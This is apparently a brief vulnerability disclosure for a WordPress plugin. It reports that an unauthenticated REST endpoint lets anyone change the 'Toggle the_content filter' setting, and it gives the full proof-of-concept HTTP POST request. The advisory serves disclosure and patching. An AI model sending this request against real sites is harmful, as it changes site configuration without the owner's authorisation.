The plugin does not have proper authorisation in one of its REST endpoint, allowing unauthenticated users to update the “Toggle the_content filter” setting
POST /wp-json/yikes/cpt/v1/settings HTTP/1.1 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 24 Connection: close toggle_the_content=false